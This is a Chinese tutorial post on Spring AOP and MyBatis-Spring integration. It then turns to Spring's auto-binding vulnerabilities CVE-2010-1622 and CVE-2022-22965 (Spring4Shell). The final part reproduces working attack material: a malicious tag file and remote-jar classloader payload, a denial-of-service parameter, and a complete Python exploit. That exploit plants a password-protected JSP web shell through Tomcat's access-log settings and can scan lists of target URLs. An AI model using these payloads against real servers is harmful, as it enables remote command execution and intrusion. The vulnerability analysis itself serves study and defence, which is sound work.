//拦截返回值任意,参数列表为两个int类型,具体包service所有子包与子类的add方法
execution(* com.sentiment.service..*.add(int,int))
@annoation表达式
定义一个注解类,在需要扩展的方法上加注解
//对被有该注解标明的方法有效(里面填定义注解的位置)
@annotation(com.sentiment.anno.注解)
简化操作
在上边定义了一个add方法的前置通知,但是此时"减乘除"都没有设置,若使用刚才的方式则需再定义三个,代码重复量过高,所以就可以用表达式进行简化
第一个*表示任意的访问修饰符和返回值类型
第二个*表示类中任意的方法
.. 表示任意的参数列表
@Before("execution(*com.sentiment.aop.CalculatorImpl.*(..))")
除此外类的地方也可以用,表示包下所有的类*
重用切入点
此时只定义了前置操作,若在定义后置通知,异常通知等,就会导致
execution(*com.sentiment.aop.CalculatorImpl.*(..))出现反复重写问题,所以又引入了一个注解@Pointcut
此时After后边只需要填写对应的pointCut方法即可
@Pointcut("execution(* com.sentiment.aop.CalculatorImpl.*(..))")
public void pointCut(){}
@After("pointCut()")
public void after(){
System.out.println("后置通知");
}
获取连接点信息
在通知方法的参数位置,设置JoinPoint类型的参数,就可以获取连接点对应方法的信息
测试
@Before("pointCut()")
public void beforeAdvicedMethdo(JoinPoint joinPoint){
//获取连接点对应方法的签名信息
Signature signature = joinPoint.getSignature();
//获取连接点对应方法的参数
Object[] args = joinPoint.getArgs();
System.out.println("前置通知,方法:"+signature.getName()+"参数:"+ Arrays.toString(args));
}
结果
前置通知,方法:mul参数:[1, 2]
方法内部,result:2
常见通知方式
先用try语句理解一下各个通知的接入点
try {
//前置通知@Before
目标方法执行语句..........
//返回通知@AfterReturning
}catch(exception e){
//异常通知@AfterThrowing
} finally{
//后置通知@After
}
后置通知
@After
接入点相当于finally位置,无论执行是否异常都会执行
返回通知
@AfterReturning
接入点在目标方法语句后,若出现异常则不会执行,另外该注释中有一个参数returning,作为为目标函数的返回结果
@AfterReturning(value = "pointCut()",returning = "result")
public void afterReturning(JoinPoint joinPoint,Object result){
Signature signature = joinPoint.getSignature();
System.out.println("返回通知,方法:"+signature.getName()+",结果:"+result);
}
异常通知
@AfterThrowing
接入点在catch语句中,若出现异常则会执行,另外该注释中有一个参数throwing,作为为目标函数的异常结果
@AfterThrowing(value = "pointCut()",throwing = "e")
public void afterThrowing(JoinPoint joinPoint,Throwable e){
Signature signature = joinPoint.getSignature();
System.out.println("异常通知,方法:"+signature.getName()+",异常:"+e);
}
环绕通知
@Around("pointCut()")
public Object around(ProceedingJoinPoint joinPoint){
Object result=null;
try {
System.out.println("环绕通知-->前置通知");
result = joinPoint.proceed();
System.out.println("环绕通知-->后置通知");
}catch (Throwable throwable){
System.out.println("环绕通知-->异常通知");
}finally {
System.out.println("环绕通知-->后置通知");
}
return result;
}
切面优先级
再添加一个AOP类,加上前置通知
public class OrderAspect {
@Before("com.sentiment.aop.LogAspect.pointCut()")
public void before(){
System.out.println("前置通知:Order");
}
}
此时在程序执行后发现,该通知的执行在LogAspect类的前置通知后,所有就引入了一个注解@Order来设置切面执行的优先级
此时发现Order的前置通知被执行, @Order填写一个int值即可,值越小优先级越高,而默认值为int类型的最大值2147483647,所以上边值随便给个比这个小的即可
基于xml的AOP
将前边的AOP注解都去掉后,可以基于xml实现AOP管理
配置文件
<context:component-scan base-package="com.sentiment.aop.xml"></context:component-scan>
<aop:config>
<aop:pointcut id="pointCut" expression="execution(* com.sentiment.aop.xml.CalculatorImpl.*(..))"/>
<aop:aspect ref="logAspect" >
<aop:before method="beforeAdvicedMethdo" pointcut-ref="pointCut"></aop:before>
<aop:after method="after" pointcut-ref="pointCut"></aop:after>
<aop:after-returning method="afterReturning" returning="result" pointcut-ref="pointCut"></aop:after-returning>
<aop:after-throwing method="afterThrowing" throwing="e" pointcut-ref="pointCut"></aop:after-throwing>
</aop:aspect>
<!-- 同样可以通过order修改优先级-->
<aop:aspect ref="orderAspect" order="1">
<aop:before method="before" pointcut-ref="pointCut"></aop:before>
</aop:aspect>
</aop:config>
测试
@Test
public void test(){
ClassPathXmlApplicationContext ioc = new ClassPathXmlApplicationContext("aop-xml.xml");
Calculator bean = ioc.getBean(Calculator.class);
bean.add(1,0);
}
整合Mybatis
Mybatis-spring
官方文档:http://mybatis.org/spring/zh/index.html
MyBatis-Spring会帮助你将MyBatis代码无缝地整合到Spring中。它将允许MyBatis参与到 Spring的事务管理之中,创建映射器mapper和SqlSession并注入到bean中,以及将Mybatis 的异常转换为Spring的DataAccessException。最终,可以做到应用代码不依赖于MyBatis,Spring 或 MyBatis-Spring。
版本要求:
MyBatis-Spring | MyBatis | Spring Framework | Spring Batch | Java |
2.0 | 3.5+ | 5.0+ | 4.0+ | Java 8+ |
1.3 | 3.4+ | 3.2.2+ | 2.1+ | Java 6+ |
依赖
如果mybatis是3.4以下就用1.3版本
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>2.0.7</version>
</dependency>
SqlSessionTemplate
Usermapper实现类
由于Spring通过bean来管理,所以这里的sqlSeesionFactory的创建等都集成在了bean中,只留下的最后的getMapper,用类来实现
package com.sentiment.mapper;
import com.sentiment.pojo.User;
import org.mybatis.spring.SqlSessionTemplate;
import java.util.List;
public class UserMapperImpl implements UserMapper{
private SqlSessionTemplate sqlSession;
public void setSqlSession(SqlSessionTemplate sqlSession) {
this.sqlSession = sqlSession;
}
@Override
public List<User> selectUser() {
UserMapper mapper = sqlSession.getMapper(UserMapper.class);
return mapper.selectUser();
}
}
配置文件
下边主要是通过管理bean的方式创建sqlSeesion
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--数据源-->
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/Mybatis"></property>
<property name="username" value="root"></property>
<property name="password" value="123456"></property>
</bean>
<!--sqlSeesionFactory: 使用 SqlSessionFactoryBean来创建 SqlSessionFactory-->
<bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
<property name="dataSource" ref="dataSource" />
<!--绑定Mybatis配置文件-->
<property name="configLocation" value="classpath:mybatis-config.xml"></property>
<property name="mapperLocations" value="classpath:com/sentiment/mapper/*.xml"></property>
</bean>
<!--SqlSeesionTemplate:相当于Mybatis中的sqlSession-->
<bean id="sqlSeesion" class="org.mybatis.spring.SqlSessionTemplate">
<constructor-arg ref="sqlSessionFactory"></constructor-arg>
</bean>
<!--给sqlSeesion属性赋值,并通过mapper获取我们要执行的方法-->
<bean id="userMapper" class="com.sentiment.mapper.UserMapperImpl">
<property name="sqlSession" ref="sqlSeesion"></property>
</bean>
</beans>
总体流程:
查询语句首先要定义对应的类(User.java)
之后就要定义实现查询语句的接口(UserMapper.java)
有了接口后就要有对应实现语句的配置文件(UserMapper.xml)
之后是总的mybatis配置文件(而由于结合spring,所以用了spring配置文件代替—spring-mybatis.xml)
最后添加一个接口实现类来获取配置文件中创建的sqlSeesion对象并实现对应的查询方法(UserMapperImpl.java)
SqlSessionDaoSupport
除SqlSeesionTemplate外,官方还给出了另一种方法—SqlSessionDaoSupport,这种方法的本质其实还是SqlSeesionTemplate只是对他进行了一些简化,所以使用起来更方便一些。
使用该种方式配置文件中就不在需要获取sqlSeesion,只需要获取到SQLSessionFactory处即可。
public class UserMapperImpl2 extends SqlSessionDaoSupport implements UserMapper {
@Override
public List<User> selectUser() {
SqlSession sqlSession = getSqlSession();
UserMapper mapper = sqlSession.getMapper(UserMapper.class);
return mapper.selectUser();
}
}
执行语句也可精简成一句
return getSqlSession().getMapper(UserMapperImpl2.class).selectUser();
事务管理
可以把一系列要执行的操作称为事务,而事务管理就是管理这些操作要么完全执行,要么完全不执行
在UsermapperImpl.java实现添加和删除方法
@Override
public List<User> selectUser() {
User user = new User(5, "Sentiment", "123456", 20, "男", "123@qq.com");
UserMapper mapper = getSqlSession().getMapper(UserMapper.class);
mapper.insertUser(user);
mapper.deleteUser(5);
return getSqlSession().getMapper(UserMapper.class).selectUser();
}
@Override
public int insertUser(User user) {
return getSqlSession().getMapper(UserMapper.class).insertUser(user);
}
@Override
public int deleteUser(int id) {
return getSqlSession().getMapper(UserMapper.class).deleteUser(id);
}
并且将mapper的配置文件中delete特意写错
此时执行后发现报错,但查询表后发现insert方法已经被执行了,所以就引入了声明式事务来确保操作要么完全执行,要么完全不执行。
声明式事务
mybatis-spring –
http://mybatis.org/spring/zh/transactions.html
此时添加事务声明配置文件,之后在执行当遇到错误时,就会直接终止完全不执行
<!--配置声明式事务-->
<bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
<property name="dataSource" ref="dataSource"/>
</bean>
<!--结合AOP使用-->
<tx:advice id="txAdvice" transaction-manager="transactionManager">
<tx:attributes>
<tx:method name="*" propagation="REQUIRED"/>
</tx:attributes>
</tx:advice>
<!--配置事务切入-->
<aop:config>
<aop:pointcut id="PointCut" expression="execution(* com.sentiment.mapper.UserMapper.*(..))"/>
<aop:advisor advice-ref="txAdvice" pointcut-ref="PointCut"/>
</aop:config>
Spring自动绑定问题
Spring的核心就是通过IOC管理bean,而在bean注入时就会存在自动绑定的安全问题
http://blog.o0o.nu/2010/06/cve-2010-1622.html
cve-2010-1622
自动绑定问题还是应该从10年的这个老洞说起。
影响范围
spring版本
http://s3.amazonaws.com/dist.springframework.org/release/SPR/spring-framework-3.0.1.RELEASE.zip
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)
漏洞原理
漏洞是基于JavaBean模式的,所以先定义一个JavaBean对象
User类
package pojo;
public class User {
private String name;
User() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
之后在定义一个Controller
@Controller
public class HelloController {
@RequestMapping("/test")
public void test(User user) {
System.out.println(user.getName());
}
}
配置文件
//web.xml
<servlet>
<servlet-name>Spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
//Spring-servlet.xml
<context:component-scan base-package="controller"></context:component-scan>
用tomcat启动环境后,此时传参?name=Sentiment
http://localhost:8081/Spring/test?name=Sentiment
发现会在命令行中打印传入的值,也就是说当传入name时,他会自动的找到User.name对象并进行赋值
这一自动的过程就是基于Spring的自动绑定机制,它会将url中请求过来的参数通过setter方法赋值给对应的属性,当然没有setter属性则不会赋值
所以这时问题就来了,在Java中所有的类都是继承与Object的,而Object中有一个方法getClass()能够获取class对象,而class中又有一个getClassLoader方法,返回classLoader对象
拒绝服务访问
在tomcat中有一个设置选项\<Loader delegate="true"/>,如果delegate的值设为false,就会出现所有页面都打不开的现象
而如果我们能控制classLoader那这个选项便会显得非常脆弱。
设置一个delegate的set方法
public void setDelegate(boolean delegate) {
this.delegate = delegate;
}
只需要设置通过classloader将delegate设为false
http://localhost:8081/Spring/test?name=Sentiment&class.classLoader.delegate=false
数组绕过
在上边提到了如果类存在setter方法,便可以对该属性进行自动绑定,但有一种特殊情况——数组。
修改User类,定义数组names并且只添加get方法
public class User {
private String names[];
User() {
names=new String[]{"1"};
}
public String[] getNames() {
return names;
}
}
HelloController.java
@Controller
public class HelloController {
@RequestMapping("/test")
public void test(User user) {
System.out.println(user.getNames()[0]);
}
}
此时重启tomcat,给names传参
http://localhost:8081/Spring/test?names[0]=sentiment
流程分析
首先在setPropertyValues中获取到了我们传入的请求,names[0]=sentiment,赋值给了propertyValues,接着通过将迭代器传给了var7,在通过迭代的方式传给了pv,最后通过pv调用setPropertyValue
跟进setPropertyValue
1、PropertyTokenHolder的参数为null,所以默认调用了他的无参构造器,而无参构造器中没有任何内容,所以这里也就相当于获取了PropertyTokenHolder的实例
2、通过getPropertyValue获取到getterTokens的值,而他的值也就是我们传入的names[]数组,所以这里oldValue相当于获取了一个数组类
3、接着获取建制key => "0"
4、判断oldValue为数组所以进入if
接着通过pv.getValue(),获取到了pv的value值也就是sentiment赋给了convertedValue,最后通过set方法将值赋给了键值为0的names[0]
RCE漏洞
URLClassLoader类,其中url可以通过数组的形式传入,这里就契合了前边数组和classLoader可控
并且在TldLocationsCache类中有getURLs方法,对页面的tld标签库处理时,会从这一堆URL中获取tld文件。它的原理是从URL 中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar 中时,可以通过jar:http://localhost:7777/test.jar!/,下载jar,并从中获取tld文件进行解析执行
下面就来构造攻击:
spring-form.tld
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
version="2.0">
<description>Spring Framework JSP Form Tag Library</description>
<tlib-version>3.0</tlib-version>
<short-name>form</short-name>
<uri>http://www.springframework.org/tags/form</uri>
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
</taglib>
tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("calc");
%>
将项目打包并将这两个文件放入/META-INF文件夹下
在jar包目录下,开启一个本地服务
python -m http.server 7777
编写index.jsp执行代码
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>
Controller
@Controller
public class HelloController {
@RequestMapping(value = "/hello")
public void hello(Model model,User user) {
model.addAttribute("user",user);
model.addAttribute("name", user.getName());
}
}
之后通过
class.classLoader.URLs[0]=jar:http://127.0.0.1:7777/Spring_bean_rce.jar!/
访问本地的jar包
访问index.jsp成功执行
在tomcat6.0.28后将return repositoryURLs;改成了return repositoryURLs.clone();
spring3.0.3在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。
此漏洞也就被修复了
CVE-2022-22965
在JDK9之后由于出现了一些黑名单绕过,致使本漏洞又一次出现了。
影响范围
Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20.RELEASE
JDK>=9
tomcat<9.0.62
漏洞原理
Tomcat中有一个类AccessLogValve用来记录访问日志access_log。而它对应的配置文件时server.xml,它所有部署的内容都会在tomcat运行时执行
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
可以看到类:
org.apache.catalina.valves.AccessLogValve
在该类中发现server.xml中的配置属性,并且下边也存在对应的setter和getter方法
那么既然存在了setter就可以利用自动绑定的方式为他赋值,但需要注意一个点在漏洞修复以后class.classLoader就被过滤掉了,这就导致我们无法获取classLoader,进而无法继续往下执行
所以这里就引入了JDK9的绕过方式:自从JDK
9开始,J引入了一个新的模块Module,而通过这个模块就能调用ClassLoader方法,也就绕过了前边class.classLoader的黑名单检测即:
class.module.classLoader的形式。
RCE漏洞
所以接下来就需要设置对应的属性
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
.........
org.apache.catalina.valves.AccessLogValve.setPattern()
这里贴个师傅的exp,简单分析下:
#coding:utf-8
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Spring-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
首先设置pattern的值,结合header头中的内容,构成shell文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
这样就设定好了整个shell文件,也就是在webapps/ROOT下生成叫tomcatwar.jsp的shell文件
Controller
@Controller
public class HelloController {
@RequestMapping("/hello")
public String addUser(User user) {
return "Success";
}
}
生成war包,放到tomcat的webapps下
catalina.bat run启动tomcat,运行exp
python Spring4shell.py --url http://localhost:8081/Spring4shell-1.0-SNAPSHOT/
之后就在webapps/ROOT下生成了tomcatwar.jsp,访问成功执行命令
往期推荐